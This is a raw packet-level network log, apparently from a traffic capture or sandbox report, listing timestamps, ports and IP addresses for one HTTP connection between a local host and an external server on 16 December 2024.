Dec 16, 2024 17:02:31.794186115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.794234037 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.794564009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.803365946 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.963408947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963454962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963491917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963541985 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963565111 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.963604927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963607073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.963644028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963690996 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.963880062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963915110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.963960886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.964636087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.964790106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.964829922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.964890003 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.965440989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.965576887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.965634108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.965781927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.965831995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.966195107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.966389894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.966425896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.966444969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.966762066 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.966814041 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.966887951 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.967097044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.967506886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.967557907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.967606068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.967622042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.967668056 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.968166113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968214035 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.968260050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968277931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968322992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.968735933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968801975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968817949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.968852043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.969429970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.969486952 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.969544888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.969562054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.969609976 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.970067024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.970299006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.970314980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.970349073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.970838070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.970886946 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.970941067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.970956087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.971000910 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.971463919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.971560001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.971575975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.971626043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.972014904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972130060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972145081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972184896 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.972219944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.972616911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972721100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972738028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.972770929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.973241091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.973316908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.973332882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.973367929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.973400116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.973799944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.973845959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.973896980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.973989964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.974442959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.974499941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.974546909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.974562883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.974621058 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.975235939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.975413084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.975429058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.975476980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.975852966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976070881 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976087093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976130009 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.976161957 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.976797104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976933002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976959944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.976994991 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.977546930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.977596998 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.977649927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.977665901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.977713108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.978193045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.978318930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.978334904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.978408098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.978971958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.979043961 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.979178905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.979196072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.979242086 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.979922056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.980045080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.980062008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.980123997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.980756044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.980812073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.981076002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.981213093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.981229067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.981281042 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.981931925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.981998920 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.982086897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.982104063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.982152939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.983093977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.983201981 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.983264923 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.983464003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.983984947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.984035015 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.984114885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.984141111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.984241962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.984920979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.984998941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.985016108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.985064983 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.985492945 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.985548973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.985641003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.985656977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.985701084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.986195087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.986310005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.986325979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.986376047 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.986876965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.986928940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.987070084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.987087011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.987134933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.987915993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.988051891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.988068104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.988105059 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.988765001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.988817930 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.988835096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.038105965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.152051926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152097940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152168036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152184963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152332067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.152333021 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.152571917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152587891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.152640104 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.152950048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153003931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153019905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153196096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.153704882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153773069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153789043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.153824091 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.153860092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.154438019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.154653072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.154669046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.154701948 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.155150890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155246973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155262947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155301094 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.155352116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.155719995 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155822039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155838013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.155872107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.156371117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.156472921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.156490088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.156521082 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.156553984 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.157040119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.157130957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.157146931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.157181025 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.158040047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158056974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158073902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158106089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.158139944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.158757925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158787966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158804893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.158834934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.159404039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.159576893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.159593105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.159624100 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.159657001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.160094023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.160231113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.160248041 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.160281897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.160897970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161050081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161067963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161106110 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.161144018 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.161686897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161704063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161720037 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.161753893 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.162388086 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.162544012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.162559986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.162595034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.162626982 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.163289070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.163305998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.163328886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.163360119 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.163945913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164072037 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164088011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164130926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.164163113 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.164680958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164839983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164860964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.164907932 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.165537119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.165698051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.165734053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.165771008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.165802002 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.166249990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.166443110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.166477919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.166507959 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.167023897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167171001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167206049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167236090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.167268038 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.167881966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167917013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167951107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.167979956 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.168561935 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.168704987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.168720961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.168764114 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.168797970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.169389963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.169564009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.169579983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.169650078 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.170145988 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.170348883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.170363903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.170402050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.170433998 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.170965910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.171139956 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.171200037 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.171263933 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.171281099 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.171329975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.171900034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172045946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172060966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172115088 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.172655106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172836065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172852039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.172893047 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.172924995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.173417091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.173564911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.173579931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.173619032 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.174413919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.174551964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.174567938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.174607992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.174643040 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.175067902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.175199032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.175215960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.175255060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.175849915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.175951004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.175966978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.176007032 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.176038980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.176582098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.176762104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.176778078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.176821947 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.177314997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.177426100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.177440882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.177481890 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.177512884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.177985907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.225743055 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.572362900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.572877884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.605071068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.726898909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727025032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727065086 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727137089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.727412939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727477074 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.727758884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727793932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.727849007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.728230953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.728574038 CET	80	49714	138.124.35.95	192.168.2.8
